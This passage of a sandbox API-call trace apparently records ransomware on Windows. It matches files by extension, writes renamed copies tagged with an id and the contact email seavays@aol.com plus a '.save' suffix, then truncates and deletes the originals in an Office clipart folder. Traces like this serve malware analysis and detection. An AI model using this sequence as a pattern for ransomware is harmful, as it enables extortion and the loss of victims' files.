-1 [0061.148] lstrlenW (lpString=".docx") returned 5 [0061.148] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0061.148] lstrlenW (lpString=".pdf") returned 4 [0061.148] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.148] lstrlenW (lpString=".xls") returned 4 [0061.148] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.148] lstrlenW (lpString=".xlsx") returned 5 [0061.148] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0061.148] lstrlenW (lpString=".ppt") returned 4 [0061.148] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0061.148] lstrlenW (lpString=".zip") returned 4 [0061.148] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.148] lstrlenW (lpString=".rar") returned 4 [0061.148] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.148] lstrlenW (lpString=".bz2") returned 4 [0061.148] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.148] lstrlenW (lpString=".7z") returned 3 [0061.148] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0061.148] lstrlenW (lpString=".dbf") returned 4 [0061.148] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0061.148] lstrlenW (lpString=".1cd") returned 4 [0061.148] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0061.148] lstrlenW (lpString=".jpg") returned 4 [0061.148] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0061.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0061.149] lstrlenW (lpString=".doc") returned 4 [0061.149] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.149] lstrlenW (lpString=".docx") returned 5 [0061.149] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0061.149] lstrlenW (lpString=".pdf") returned 4 [0061.149] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.149] lstrlenW (lpString=".xls") returned 4 [0061.149] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.149] lstrlenW (lpString=".xlsx") returned 5 [0061.149] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0061.149] lstrlenW (lpString=".ppt") returned 4 [0061.149] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0061.149] lstrlenW (lpString=".zip") returned 4 [0061.149] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.149] lstrlenW (lpString=".rar") returned 4 [0061.149] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.149] lstrlenW (lpString=".bz2") returned 4 [0061.149] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.149] lstrlenW (lpString=".7z") returned 3 [0061.149] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0061.149] lstrlenW (lpString=".dbf") returned 4 [0061.149] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0061.149] lstrlenW (lpString=".1cd") returned 4 [0061.149] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0061.149] lstrlenW (lpString=".jpg") returned 4 [0061.149] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.150] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0061.150] lstrlenW (lpString="AG00004_.GIF") returned 12 [0061.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0061.179] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=9024) returned 1 [0061.179] CloseHandle (hObject=0x378) returned 1 [0061.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 0x220 [0061.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0061.196] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.196] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0061.197] GetLastError () returned 0x0 [0061.197] ReadFile (in: hFile=0x378, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x2340, lpOverlapped=0x0) returned 1 [0061.198] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x2350, lpOverlapped=0x0) returned 1 [0061.199] ReadFile (in: hFile=0x378, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.199] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0061.200] SetEndOfFile (hFile=0x374) returned 1 [0061.200] CloseHandle (hObject=0x374) returned 1 [0061.200] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.201] SetEndOfFile (hFile=0x378) returned 1 [0061.201] CloseHandle (hObject=0x378) returned 1 [0061.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0061.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0061.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0061.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0061.202] lstrlenW (lpString=".doc") returned 4 [0061.202] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.202] lstrlenW (lpString=".docx") returned 5 [0061.202] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.202] lstrlenW (lpString=".pdf") returned 4 [0061.202] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.202] lstrlenW (lpString=".xls") returned 4 [0061.202] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.202] lstrlenW (lpString=".xlsx") returned 5 [0061.202] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.202] lstrlenW (lpString=".ppt") returned 4 [0061.202] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0061.202] lstrlenW (lpString=".zip") returned 4 [0061.202] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.202] lstrlenW (lpString=".rar") returned 4 [0061.202] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.202] lstrlenW (lpString=".bz2") returned 4 [0061.202] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.202] lstrlenW (lpString=".7z") returned 3 [0061.203] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0061.203] lstrlenW (lpString=".dbf") returned 4 [0061.203] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0061.203] lstrlenW (lpString=".1cd") returned 4 [0061.203] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0061.203] lstrlenW (lpString=".jpg") returned 4 [0061.203] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0061.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0061.203] lstrlenW (lpString=".doc") returned 4 [0061.203] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.203] lstrlenW (lpString=".docx") returned 5 [0061.203] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.203] lstrlenW (lpString=".pdf") returned 4 [0061.203] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.203] lstrlenW (lpString=".xls") returned 4 [0061.203] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.203] lstrlenW (lpString=".xlsx") returned 5 [0061.203] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.203] lstrlenW (lpString=".ppt") returned 4 [0061.203] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0061.203] lstrlenW (lpString=".zip") returned 4 [0061.203] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.203] lstrlenW (lpString=".rar") returned 4 [0061.203] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.203] lstrlenW (lpString=".bz2") returned 4 [0061.203] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.203] lstrlenW (lpString=".7z") returned 3 [0061.203] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0061.204] lstrlenW (lpString=".dbf") returned 4 [0061.204] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0061.204] lstrlenW (lpString=".1cd") returned 4 [0061.204] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68 [0061.204] lstrlenW (lpString=".jpg") returned 4 [0061.204] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.204] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0061.204] lstrlenW (lpString="AG00040_.GIF") returned 12 [0061.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0061.204] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=8097) returned 1 [0061.204] CloseHandle (hObject=0x378) returned 1 [0061.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 0x220 [0061.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0061.205] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.205] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0061.205] GetLastError () returned 0x0 [0061.205] ReadFile (in: hFile=0x378, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1fa1, lpOverlapped=0x0) returned 1 [0061.207] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1fb0, lpOverlapped=0x0) returned 1 [0061.208] ReadFile (in: hFile=0x378, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.208] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0061.208] SetEndOfFile (hFile=0x374) returned 1 [0061.208] CloseHandle (hObject=0x374) returned 1 [0061.209] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.209] SetEndOfFile (hFile=0x378) returned 1 [0061.210] CloseHandle (hObject=0x378) returned 1 [0061.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0061.210] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0061.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0061.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0061.210] lstrlenW (lpString=".doc") returned 4 [0061.210] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.210] lstrlenW (lpString=".docx") returned 5 [0061.210] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.210] lstrlenW (lpString=".pdf") returned 4 [0061.210] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.210] lstrlenW (lpString=".xls") returned 4 [0061.210] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.210] lstrlenW (lpString=".xlsx") returned 5 [0061.211] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.211] lstrlenW (lpString=".ppt") returned 4 [0061.211] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0061.211] lstrlenW (lpString=".zip") returned 4 [0061.211] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.211] lstrlenW (lpString=".rar") returned 4 [0061.211] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.211] lstrlenW (lpString=".bz2") returned 4 [0061.211] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.211] lstrlenW (lpString=".7z") returned 3 [0061.211] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0061.211] lstrlenW (lpString=".dbf") returned 4 [0061.211] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0061.211] lstrlenW (lpString=".1cd") returned 4 [0061.211] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0061.211] lstrlenW (lpString=".jpg") returned 4 [0061.211] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0061.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0061.211] lstrlenW (lpString=".doc") returned 4 [0061.211] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.211] lstrlenW (lpString=".docx") returned 5 [0061.211] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.211] lstrlenW (lpString=".pdf") returned 4 [0061.211] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.211] lstrlenW (lpString=".xls") returned 4 [0061.211] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.211] lstrlenW (lpString=".xlsx") returned 5 [0061.211] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.212] lstrlenW (lpString=".ppt") returned 4 [0061.212] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0061.212] lstrlenW (lpString=".zip") returned 4 [0061.212] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.212] lstrlenW (lpString=".rar") returned 4 [0061.212] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.212] lstrlenW (lpString=".bz2") returned 4 [0061.212] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.212] lstrlenW (lpString=".7z") returned 3 [0061.212] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0061.212] lstrlenW (lpString=".dbf") returned 4 [0061.212] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0061.212] lstrlenW (lpString=".1cd") returned 4 [0061.212] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0061.212] lstrlenW (lpString=".jpg") returned 4 [0061.212] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.212] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0061.212] lstrlenW (lpString="AG00052_.GIF") returned 12 [0061.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0061.213] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=7686) returned 1 [0061.213] CloseHandle (hObject=0x378) returned 1 [0061.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 0x220 [0061.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0061.214] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.214] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0061.214] GetLastError () returned 0x0 [0061.214] ReadFile (in: hFile=0x378, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1e06, lpOverlapped=0x0) returned 1 [0061.215] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1e10, lpOverlapped=0x0) returned 1 [0061.216] ReadFile (in: hFile=0x378, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.216] WriteFile (in: hFile=0x374, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0061.216] SetEndOfFile (hFile=0x374) returned 1 [0061.217] CloseHandle (hObject=0x374) returned 1 [0061.217] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.217] SetEndOfFile (hFile=0x378) returned 1 [0061.218] CloseHandle (hObject=0x378) returned 1 [0061.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0061.219] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 1 [0061.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0061.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0061.219] lstrlenW (lpString=".doc") returned 4 [0061.219] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.219] lstrlenW (lpString=".docx") returned 5 [0061.219] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.219] lstrlenW (lpString=".pdf") returned 4 [0061.219] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.219] lstrlenW (lpString=".xls") returned 4 [0061.219] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.219] lstrlenW (lpString=".xlsx") returned 5 [0061.219] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.219] lstrlenW (lpString=".ppt") returned 4 [0061.219] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0061.219] lstrlenW (lpString=".zip") returned 4 [0061.219] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.219] lstrlenW (lpString=".rar") returned 4 [0061.219] 